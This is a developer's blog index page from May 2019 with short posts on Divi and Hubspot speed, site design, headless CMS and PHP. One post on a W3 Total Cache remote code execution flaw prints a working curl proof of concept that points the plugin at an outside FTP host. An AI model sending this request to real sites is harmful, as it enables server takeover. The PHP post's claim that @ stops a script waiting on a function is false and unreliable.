Shawn DeWolfe's blog

How To Speed Up A Divi Website

  • Posted on: 28 May 2019
  • By: Shawn DeWolfe
Divi slow to load?

Here are ways to speed up a WordPress site built with Divi:

  • Fewer files to request and smaller files are key. Each plugin and theme is likely to introduce several CSS and JS files apiece. Plugins like AutoOptimize can consolidate the CSS into fewer files and it can do the same with JavaScript. Almost every web server is capable of serving out files compressed with GZip. Almost every web browser is capable of decoding GZipped files.

How To Design A Website That’s Good For Business

  • Posted on: 21 May 2019
  • By: Shawn DeWolfe

In an online world, your website is your business identity; it's not just your predominant marketing tool, it’s who you are. Whether people are looking for a job, a new business relationship, or just a product to purchase, your website is the first place they go to discover who they may be dealing with. Your site has to convey your vision in a way that makes you stand out from all your competitors; and it needs to do so in seconds.

Q&A: What is the use of the @ symbol in PHP?

  • Posted on: 17 May 2019
  • By: Shawn DeWolfe
The @ symbol says to execute the function, but do not pause and wait for its execution before proceeding. PHP uses this as an error control operator. When prepended to a function or expression in PHP, any error messages that might be generated by that expression will be ignored.

It’s really handy when the script goes to request something from a remote source (eg. file_get_contents() ). It’s not actually multi-threading the application execution, but it does prevent it from tripping over the delay in execution.

Q&A: Why do I need to use Headless CMS?

  • Posted on: 17 May 2019
  • By: Shawn DeWolfe

“Regular” CMS builds the HTML at the same time it builds the dynamic content. Headless has a largely static foundation of HTML that pulls in the dynamic elements from CMS data. There is so much formatting in current era HTML, so the expensive part of a page load is the themed page. Going headless means the expensive part of the load becomes less expensive as it’s static; and the important content comes in via an AJAX call.

How Hubspot Can Deliver Better

  • Posted on: 15 May 2019
  • By: Shawn DeWolfe

Any developer bent on performance improvements can carry out the usual optimizations. I can address image optimization. I can move Google Fonts onto our own server. I can even make selective pages static to deliver content faster than possible from a CMS. The biggest issue is the bad expiries on the Hubspot scripts.

Ways Hubspot could address this:

W3 Cache Vulnerability through Salts - May 2019

  • Posted on: 7 May 2019
  • By: Shawn DeWolfe
W3 total cache had a remote code execution vulnerability come out yesterday. https://wpvulndb.com/vulnerabilities/9270 How does this work? The implementation of `opcache_flush_file` calls `file_exists` with a parameter fully controlled by the user.
Proof of Concept 
curl 'http://x.x.x.x/wp-content/plugins/w3-total-cache/pub/opcache.php' --data 'nonce=974ca6ad15021a6668e7ae02e1be551c&command=flush_file&file=ftp://y.y.y.y:zzzz/'

DIY vs. Design

  • Posted on: 1 May 2019
  • By: Shawn DeWolfe

For over two decades, I have been paid to design websites, solve technical problems and give people advice about websites, web publishing and WordPress web design. Should you pay me? Should you do it yourself?

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